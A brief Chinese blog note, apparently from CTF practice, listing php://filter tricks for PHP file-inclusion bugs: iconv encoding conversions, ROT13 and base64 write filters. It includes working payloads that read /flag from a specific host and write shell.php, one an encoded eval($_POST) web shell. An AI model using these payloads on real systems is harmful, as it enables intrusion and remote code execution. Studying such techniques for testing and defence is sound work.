php://filter 的其它用法

在前面写的文件包含中,对于php://filter的用法也只是使用 convert 过滤器。除此之外还有 string 过滤器,convert.iconv 可以使用

convert.iconv

使用方法:

1
2
3
convert.iconv.<input-encoding>.<output-encoding>
or
convert.iconv.<input-encoding>/<output-encoding>

1
http://43.142.108.183:8085/?url=php://filter/read=convert.iconv.UTF-16BE.UTF-32BE/resource=/flag

PHP支持的部分编码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
ISO-2022-JP
ISO-2022-JP-MS
CP932
CP51932
SJIS-mac
SJIS-Mobile#DOCOMO
SJIS-Mobile#KDDI
SJIS-Mobile#SOFTBANK
UTF-8-Mobile#DOCOMO
UTF-8-Mobile#KDDI-A
UTF-8-Mobile#KDDI-B
UTF-8-Mobile#SOFTBANK
ISO-2022-JP-MOBILE#KDDI

在实际的测试过程中,可以构造好url,然后使用burpsuit对 <input-coding>、 <output-coding> 参数部分进行爆破,来查看哪些编码组合可以使用

string

  • string.rot13

等同于用 str_rot13() 函数处理所有的流数据

对字符串执行ROT13转换。通过传递一个经过编码的字符串作为参数,将会得到原始字符串

1
2
3
content=php://filter/write=string.rot13|<?cuc cucvasb();?>|/resource=shell.php

content=php://filter/write=string.rot13/resource=<?cuc cucvasb();?>/../shell.php
  • string.toupper

将字符串转化为大写

  • string.tolower

将字符串转化为小写

other

还在网上看到下面这种形式,先记录下来,还没实际用到过

  • convert.quoted-printable-encode 和 convert.quoted-printable-decode

使用此过滤器的decode版本等同于用 quoted_printable_decode()函数处理所有的流数据

1
2
3
4
5
?file=php://filter/read=convert.quoted-printable-encode/resource=GWHT.php

index.php?file2=php://filter/write=convert.base64-encode/resource=test.txt&txt=Qftm
?filename=php://filter/convert.base64-decode/resource=1.php/content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==
//写入文件

详解php://filter以及死亡绕过